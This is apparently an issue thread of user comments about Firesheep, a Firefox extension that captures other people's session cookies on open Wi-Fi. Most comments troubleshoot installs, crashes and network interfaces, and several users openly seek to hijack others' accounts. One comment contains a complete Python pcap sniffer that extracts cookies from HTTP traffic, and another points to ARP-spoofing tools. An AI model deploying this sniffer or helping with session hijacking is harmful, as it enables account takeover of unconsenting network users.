I think i accidentally went to advance and erased my capture/filter/. I've tried reinstalling but it remains blank and now when i start capture it says "Invalid filter"

Any fixes?

Thanks in advance

Greetings all..

I have Firesheep installed but whenever I try to capture it crashes Firefox and it then asks me to report this to mozilla...

I have been at this for 2 hours now.... read this entire page here and the guys personal one as well...

I am not seeing my issue anywhere even on a google search...

i have the original macbook pro( first edition of the mac's running intel chips) runnning OS X 10.4.11

I am running FF 3.6.11

I have uninstalled firefox COMPLETELY and then re installed it several times.. I even googled removing FF to make sure I wasn' missin anything.. so yes even deleted those mozilla files under users/library/admin....

I still can't get Firesheep to run.. as soon as I click on it in the sidebar, i.e. capture.. it crashes...

if I go to add on's and then click on preferences for Firesheep thru the add on window, FF crashes..

Is my original Macbook Pro the culprit or am I missing something?

AnY and all help is greatly appreciated!!

thanks again!!

email:

[email protected]

oNe

Running Windows 7 x86-64 and I get this error when loading the plugin UI.

Add-ons window does not know where to find updates for Firesheep.

This can be closed when Firefox can find and detect an update for Firesheep.

When you click Start Capturing a dialog pops up asking for you password so firesheep-backend can have the system.privilege.admin right. After entering the password and clicking Ok you get an error that says "Run --fix-permissions first". I haven't been able to do this successfully.

OS X 10.6.4
FF 3.6.11

$(DEST) is empty in backend Makefile, so the mkdir -p $(DEST) fails, i removed the lines with $(DEST), maybe there is something wrong about $(DEST)

See screenshot.

http://skitch.com/unncola/d7nf1/firefox

Preferences -> Capture (Interface) the only options I get are Microsoft, Ethernet Controller, and Microsoft again I am unable to see my Wireless card is there a fix ? and what is the Microsoft option? I am on an open network where I know people are logging onto facebook and other sites
thanks

Can people who have Firesheep working correctly please post what wifi card, chipset, driver, and OS they are using. I have a broadcom 43xx in Vista and have had no luck. My mac mini at work is brand new and I have not figured out what chipset it uses yet.

Can anybody tell me how to install this on a Win XP computer? I cant find any info on that... Arghh..!

I recently installed firesheep and am really interested in using it, but it does not seem to be working for me. I am on an open network, and I know there is heavy traffic (its a school), but firesheep will not show anything. I am using Windows 7 x64, and have tried both running as admin and compatability mode to XP, but nothing works. I installed Winpcap like it said too. I heard somewhere you might have to change the interface, but I have tried all the options to no avail (my options were "Microsoft" and my Ethernet card - a Broadcam Netlink Gigabit Ethernet). It will; however, sniff my own computer, both in Firefox and in IE, on either setting. Is this just my computer? Or is this a common issue? I feel like there should be a third option for my wireless card (an Intel Centrino Advanced-N 6200 AGN), but after restarting both Windows and my browser one did not show up. Is it possible I have an incompatible wireless card? Or is the "Microsoft" option my wireless card? Any help is appreciated. Thanks

TypeError: Cc['@mozilla.org/extensions/manager;1'] is undefined
is thrown and the preferance panes are blank.

It won't load for me in either of these versions. I have Mac OS X 10.6.4 but I know that users with other OS's have similar issues.

Couldn't open device \Device \NPF_{C701C0BCSD35/4669/991D/315BEF869A24}: failed to set hardware filter to promiscuous mode.

Exception... "Component returned failure code: 0x80004005(NS_ERROR_FAILURE)[IMozPopenProcess.Stop]" nresult: "0x80004005(NS_ERROR_FAILURE)" location: "JS frame :: file:///C:...etc.../Mozilla/Firefox/Profiles/cci7u51v.default/extensions/[email protected]/modules/FiresheepSession.js ::anonymous :: line 78" data: no

I have this problem in 'Start Capturing' when i use the interface: Atheros AR5006EG Wireless Network Adapter (Microsoft's Packet Scheduler)

But when i use the interface: NVIDIA nForce MCP NEtworking Adapter Driver (Microsoft's Packet Scheduler), i have a another problem in 'Stop Capturing': Backend exited with error 1

I have windows XP and Mozilla Firefox 3.6.12

Why?!
HELP! please!

New Thread: http://github.com/codebutler/firesheep/issues/issue/49/

see image here: http://skitch.com/awatsoncc/d7nbf/firesheep-window some times when i open the preferences the control is shrunken and the only way to get it back is to disable / re-enable the addon.

By default Firesheep sets cookies as domain www.domain.com and some websites ignores them because they only reads domain domain.com
Maybe the domains config option can be used as the correct cookie domain.

Example: http://img251.imageshack.us/img251/2964/exampleez.jpg

I can't seem to find the ./configure file to be able to make and make install it. Anyone know how to install it in debian ?

I have the newest Firefox and Wincap versions and i find my self when logging in on my computer but if someone on another computer logging in on facebook or any other site i cant see them. The interface i can choose from are my Realtek PCI-E Gigabit ethernet and two different Microsoft. One of the Microsoft interface works but i can only see my own computer. If i choose the two other interfaces i cant see anything at all.

Windows 7,
Intel(R) 82577LC Gigabit Network Connection
Intel(R) Centrino(R) Advanced-N 6200 AGN
Microsoft Virtual WiFi Miniport Adapter

Firesheep doesn't recognize any interfaces on my machine. Hope this is all relevant data..

I think I know why I can't get firesheep to capture on our campus' open wifi. All of our wifi IPs are "internet facing" but firewalled to hell (basically no ports are open by default). This means the attacker and victim wouldn't normally share an IP. Versus a NAT were both people share the internet IP and have local LAN IPs (192.168.1.100 etc.).

Am I correct or full of ignorance?

If this is not the issue then for the record I'm running OSX 10.6.4 on a new mac mini and FF3.6.11. Firesheep captures nothing but my local machines facebook traffic.

I have successfully installed both WinPcap and Firesheep. I am using Firefox v3.6.11
I have tested it on an open Wifi network but it does not capture any cookies (not even local). I tried all options under my the interface option. But no luck.

My options are the following:

MS Tunnel Interface Driver
Gigabit Ethernet Controller
Microsoft....

Please advice, thanx.

Can anybody tell me, why in an open wifi i am getting just my own sessions? I am working under Windows! Any suggestion?

best regards

The message I get:
'Incompatible Extension
"Firesheep" could not be installed because it is not compatible with your Firefox build type (Darwin_ppc=gcc3). Please contact the author of this item about the problem.'

Hello authors? It's just an old PowerBook G4 with OS 10.4.11 but I would like to know who's phishin'

Every time I try to capture in Firefox 3.6.11 it says Invalid Interface. Any fix for this?

Pops up a dialogue "Incompatible Extension" saying:
"Firesheep 0.1 could not be installed because it is not compatible with Firefox 3.6.6."

When i start capturing only the log in info from the computer i am using shows up.
The two interface options are the realtek (microsoft packet scheduler), and my wifi card. I have tried both and neither will show me other computer's cookies. please help me see them so i can prank my friends!

got this issue :

fallen@tablet:~/dev/firesheep/backend$ make
rm -f /home/fallen/dev/firesheep/firesheep-backend
g++ -DHAVE_STDARG_H -Wall -include src/config.h -g -I deps/ -I deps/http-parser -I deps/json_spirit -lpcap -o /home/fallen/dev/firesheep/firesheep-backend src/main.cpp src/http_sniffer.cpp src/http_packet.cpp deps/http-parser/http_parser.c
/tmp/cc2OyAQ2.o: In function main': /home/fallen/dev/firesheep/backend/src/main.cpp:48: undefined reference toOSXPlatform::OSXPlatform(std::vector<std::basic_string<char, std::char_traits, std::allocator >, std::allocator<std::basic_string<char, std::char_traits, std::allocator > > >)'
/home/fallen/dev/firesheep/backend/src/main.cpp:63: undefined reference to OSXPlatform::run_privileged()' /tmp/cc2OyAQ2.o: In function~OSXPlatform':
/home/fallen/dev/firesheep/backend/src/osx_platform.hpp:29: undefined reference to `vtable for OSXPlatform'
collect2: ld returned 1 exit status
make: *** [/home/fallen/dev/firesheep/firesheep-backend] Error 1

shows gcc error (not compatible)

Its seems to me as if firesheep always tries to use the device
"en1".
As my wifi device is configured o be "en3", when starting capturing I get a error message:
"Couldn't get netmask for device en1:
SIOCGIFADDR:en1:
Device not configured"

Will try to manually configure wifi device via "prefs.js" and report

headslap
I just got firesheep working on another pair of systems that I was having trouble with. I forgot about 802.11b/g vs. 802.11n wireless cards. My firesheep machine has an 802.11b/g wifi card. My target pc has an 802.11b/g/n card and they were both on an 802.11n wifi access point. Since the target pc was talking in the 3.2ghz (n) range the firesheep machine couldn't see the traffic with it's 2.4ghz (b/g
) card. Thank you wireshark for reminding me.

backend does not link, you forgot -lpcap for linux platform

I'm getting an error saying 'Error in Pivotal Tracker processPacket(): Unknown object type: 64' when I start capturing.

I along with a small body of people are having problems with the error code above.
i have installed the programs needed, when i start capturing i don't seem to be actually doing so, when i stop capturing i receive the above message. support would be much appreciated

Running Windows 7.

Downloaded and installed newest versions of both Firefox, and WinPcap.

Installed Firesheep.

Rebooted.

When I launch Firefox, and see Firesheep on the left come up and I click Start Capturing button, I see no activity at all. Tried this so far on two like configured laptops. Anyone know what's going on? I really want to get this functioning.

Please read his updated blog post first:

http://codebutler.com/firesheep-a-day-later

I keep clicking install.rdf and it just opens a text document in firefox....then it just stops.

For some reason, in options my wireless car, 6300 AGN, is not an option in the interface pull down. The only option is my Ethernet... What should I do?

I got all the way to here what am I supposed to do once i get to this part?

I hacked this together, it performs the same operation as your C++ backend. The only difference is that dpkt is not stateful so I'm forced to buffer packets. Abuse can be mitigated by limiting the buffer size or packet count per request. Also, I noticed nothing is actually used from the response headers or body, so I don't capture or parse them, this should be faster and less risky.

I'm not sure if python pcap is available on windows but it must be on Mac, and it certainly works great on Linux!

    #!/usr/bin/python
    '''
    @author: [email protected]
    '''
    import pcap, dpkt, urlparse, socket, json

    '''
    the main pcap/http request parsing code
    '''
    class http_sniffer(object):
        def __init__(self, iface, callback, filter="dst port 80"):
            '''        
            @param iface: the interface to capture on (requires elevated privs)
            @param callback: a function which accepts a json-encoded object
            @param filter: an alternate pcap filter to use, the default is 'dst port 80' 

            @note: Only requests are parsed since nothing is needed from the response.
            '''
            self.iface = iface
            self.filter = filter
            self.callback = callback
            self.pkt_cache = {}

        def start(self):
            self.pcap = pcap.pcap(name=self.iface, promisc=True, immediate=False)
            self.pcap.setfilter(self.filter)
            #self.pcap.dispatch(0, handle_packet, self.callback)
            while(1):
                self.pcap.loop(self.handle_packet, self)
    #        for (ts, pkt) in self.pcap.readpkts():
    #            handle_packet(ts, pkt)
            print "Quitting!"

        @staticmethod
        def handle_packet(timestamp, pkt, *args):
            self = args[0]
            eth = dpkt.ethernet.Ethernet(pkt)
            ip = eth.data
            tcp = ip.data
            if len(tcp.data) > 0:
                src = "%s:%d" % (socket.inet_ntoa(ip.src), tcp.sport) 
                dst = "%s:%d" % (socket.inet_ntoa(ip.dst), tcp.dport)
                key = '%s:%s' % (src, dst)
                data = tcp.data

                if (key in self.pkt_cache):
                    data = self.pkt_cache[key] + data

                try:
                    request = dpkt.http.Request(data)
                except(dpkt.NeedData):
                    self.pkt_cache[key] = data
                    return

                if (key in self.pkt_cache):
                    del self.pkt_cache[key]

                method = request.method
                host = None
                agent = None
                cookie = None
                if ('host' in request.headers):
                    host = request.headers['host']
                if ('user-agent' in request.headers):
                    agent = request.headers['user-agent']
                if ('cookie' in request.headers):
                    cookie = request.headers['cookie']
                query = urlparse.urlsplit(request.uri)[3]

                msg = json.dumps({
                  'from': src, 
                  'to': dst, 
                  'method': method, 
                  'host': host, 
                  'agent': agent, 
                  'cookie': cookie, 
                  'query': query}
                )
                self.callback(msg)


    def callback(msg):
        print msg

    def main():
        sniff = http_sniffer('eth1', callback)
        sniff.start()

    if __name__ == '__main__':
        main()

The Firesheep does not show the intel wifi link 5100 adapter under interface.

when i open firesheep it getting crass and windows asking to stop the application.
i am using "windows vista"

how can i fix this problem.????

firesheep-0.1-1.xpi crashes firefox 3.6.11 running on mac os 10.6.4.

Process: firesheep-backend [637]
Path: /Users/user/Library/Application Support/Firefox/Profiles/6hvp6548.cj/extensions/[email protected]/platform/Darwin_x86-gcc3/firesheep-backend
Identifier: firesheep-backend
Version: ??? (???)
Code Type: X86 (Native)
Parent Process: ??? [1]

Date/Time: 2010-10-26 21:24:40.834 +0200
OS Version: Mac OS X 10.6.4 (10F569)
Report Version: 6

Exception Type: EXC_BAD_ACCESS (SIGBUS)
Exception Codes: KERN_PROTECTION_FAILURE at 0x0000000000000000
Crashed Thread: 0 Dispatch queue: com.apple.main-thread

Thread 0 Crashed: Dispatch queue: com.apple.main-thread
0 com.apple.CoreFoundation 0x958b6bf0 CFStringGetLength + 80
1 com.apple.CoreFoundation 0x958cb0b2 CFStringCompare + 18
2 firesheep-backend 0x00024e54 OSXPlatform::interfaces() + 412 (osx_platform.cpp:85)
3 firesheep-backend 0x00001c5e list_interfaces(AbstractPlatform*) + 127 (main.cpp:111)
4 firesheep-backend 0x0000353d main + 698 (main.cpp:63)
5 firesheep-backend 0x00001a06 start + 54

Thread 1: Dispatch queue: com.apple.libdispatch-manager
0 libSystem.B.dylib 0x9217c942 kevent + 10
1 libSystem.B.dylib 0x9217d05c _dispatch_mgr_invoke + 215
2 libSystem.B.dylib 0x9217c519 _dispatch_queue_invoke + 163
3 libSystem.B.dylib 0x9217c2be _dispatch_worker_thread2 + 240
4 libSystem.B.dylib 0x9217bd41 _pthread_wqthread + 390
5 libSystem.B.dylib 0x9217bb86 start_wqthread + 30

Thread 0 crashed with X86 Thread State (32-bit):
eax: 0xa069e8cc ebx: 0x958b6bb1 ecx: 0xa09a1b30 edx: 0x00000007
edi: 0x00000000 esi: 0x00000000 ebp: 0xbffff1f8 esp: 0xbffff1e0
ss: 0x0000001f efl: 0x00010283 eip: 0x958b6bf0 cs: 0x00000017
ds: 0x0000001f es: 0x0000001f fs: 0x00000000 gs: 0x00000037
cr2: 0x00000000

Binary Images:
0x1000 - 0x42ffb +firesheep-backend ??? (???) /Users/user/Library/Application Support/Firefox/Profiles/6hvp6548.cj/extensions/[email protected]/platform/Darwin_x86-gcc3/firesheep-backend
0xbe000 - 0xe9fff libpcap.A.dylib ??? (???) <109EC19A-1B13-3B7C-F63D-0FAE9DB8FDE3> /usr/lib/libpcap.A.dylib
0x8fe00000 - 0x8fe4162b dyld 132.1 (???) /usr/lib/dyld
0x907ea000 - 0x90845ff7 com.apple.framework.IOKit 2.0 (???) /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
0x92155000 - 0x922fbfeb libSystem.B.dylib 125.2.0 (compatibility 1.0.0) <3441F338-2218-6D36-3F95-3A16FBF6713D> /usr/lib/libSystem.B.dylib
0x92b0f000 - 0x92b1dfe7 libz.1.dylib 1.2.3 (compatibility 1.0.0) <3CE8AA79-F077-F1B0-A039-9103A4A02E92> /usr/lib/libz.1.dylib
0x932e0000 - 0x93326ff7 libauto.dylib ??? (???) <85670A64-3B67-8162-D441-D8E0BE15CA94> /usr/lib/libauto.dylib
0x94ff8000 - 0x950a5fe7 libobjc.A.dylib 227.0.0 (compatibility 1.0.0) /usr/lib/libobjc.A.dylib
0x958ae000 - 0x95a28fe3 com.apple.CoreFoundation 6.6.3 (550.29) <00373783-3744-F47D-2191-BEEA658F0C3D> /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
0x95c98000 - 0x95c9bfe7 libmathCommon.A.dylib 315.0.0 (compatibility 1.0.0) <1622A54F-1A98-2CBE-B6A4-2122981A500E> /usr/lib/system/libmathCommon.A.dylib
0x9747b000 - 0x974b8ff7 com.apple.SystemConfiguration 1.10.2 (1.10.2) <398BB007-41FD-1A30-26D8-CB86ED5E467E> /System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
0x97598000 - 0x977fcfef com.apple.security 6.1.1 (37594) <3F68A006-6B30-85D5-1A75-8D748F72A6D5> /System/Library/Frameworks/Security.framework/Versions/A/Security
0x97841000 - 0x9784dff7 libkxld.dylib ??? (???) <322A4B52-8305-3081-6B74-813C3A87A56D> /usr/lib/system/libkxld.dylib
0x978a4000 - 0x9790efe7 libstdc++.6.dylib 7.9.0 (compatibility 7.0.0) <411D87F4-B7E1-44EB-F201-F8B4F9227213> /usr/lib/libstdc++.6.dylib
0x98cda000 - 0x98d93fe7 libsqlite3.dylib 9.6.0 (compatibility 9.0.0) <16CEF8E8-8C9A-94CD-EF5D-05477844C005> /usr/lib/libsqlite3.dylib
0x994be000 - 0x99640fe7 libicucore.A.dylib 40.0.0 (compatibility 1.0.0) <2314BD12-0821-75BB-F3BC-98D324CFD30A> /usr/lib/libicucore.A.dylib
0xffff0000 - 0xffff1fff libSystem.B.dylib ??? (???) <3441F338-2218-6D36-3F95-3A16FBF6713D> /usr/lib/libSystem.B.dylib

I can catch the accounts and see them, and when I try to log in as them it sends me to the site, but it says that I'm not logged in. Am I doing something wrong? I'm running this on Mac OSX 10.6.4 in firefox 3.6.11

Watch:

http://www.youtube.com/watch?v=AomuNpnZdLc

Required:

Firesheep Extension
http://codebutler.github.com/firesheep/

WinPcap
http://www.winpcap.org/

Cain & Abel
http://www.oxid.it/cain.html

Trying to get this to work. I've tried the different interface options, and the only sessions i can catch are my own. The network is open, and we've tested many of the sites that you've listed. windows vista, 32 bit. firefox 3.6.11.

One suggestion - I'd love to have an apply button. I;m never sure that changing the interface actually works. Also, do i need to stop and start capturing between interface changes?

I get this error message when I open firefox and enable capturing

couldn't open device \Device\NPF_{4CF69781-2339-42F6-899AAF3DF7C8BB96}: failed to set hardware filter to promicuous mode

How do I fix this?